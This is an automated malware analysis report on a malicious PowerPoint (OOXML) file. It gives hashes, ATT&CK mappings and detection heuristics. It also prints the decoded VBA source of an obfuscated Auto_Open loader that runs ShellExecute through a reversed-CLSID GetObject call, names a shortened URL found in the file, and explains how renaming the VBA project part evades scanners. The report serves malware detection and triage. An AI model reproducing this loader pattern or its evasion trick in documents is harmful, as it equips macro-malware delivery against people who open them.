Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bce2ddbaf9b889f4…

MALICIOUS

Office (OOXML)

10.0 KB First seen: 2021-05-29
MD5: 3faffb05fcef2db938b10a9bf58f4b60 SHA-1: 50c82a6b9df61b6d09931602b9d5cffb7a186ac4 SHA-256: bce2ddbaf9b889f4578133d4df5ce3c01cd46bd9b5b75df3f74c5384eb622ff6
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 Signed Binary Proxy Execution: Rundll32

This OOXML document contains obfuscated VBA macros designed to execute a payload. The Auto_Open macro, triggered upon opening the document, utilizes GetObject and ShellExecute to run malicious code. The script attempts to decode a string using StrReverse, likely to construct a command or path for execution.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/viuytredct.bin)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    . _
    ShellExecute _
    x0 _
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    = _
    GetObject(StrReverse("000045355444-E94A-EC11-972C-02690731:wen"))
    End _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub _
    Auto_Open _
    ()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.j.mp/ajsddddyfyugugudijjsd In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 971 bytes
SHA-256: dd342d89f417044ceeefa7d6da8bcc83d243bfa09d9f463968ecc0f3f1ed78f5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "calo"

Sub _
Auto_Open _
()
Dim _
lol _
As _
New _
m


lol _
. _
p _
. _
ShellExecute _
x0 _
. _
x1 _
. _
Tag _
, _
x0 _
. _
x1 _
. _
ControlTipText
End _
Sub


Attribute VB_Name = "m"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function _
p _
()
Set _
p _
= _
GetObject(StrReverse("000045355444-E94A-EC11-972C-02690731:wen"))
End _
Function

Attribute VB_Name = "x0"
Attribute VB_Base = "0{EC3A699E-3042-4C42-9257-7B3A53A79247}{6B65175A-7EA3-451D-A5B4-E5579805399E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: ppt/viuytredct.bin 20992 bytes
SHA-256: 5f49c250b216f4ef7d0d4f7eeb70a1d5068b7d23b4cdd6c2fc22316814de1c9a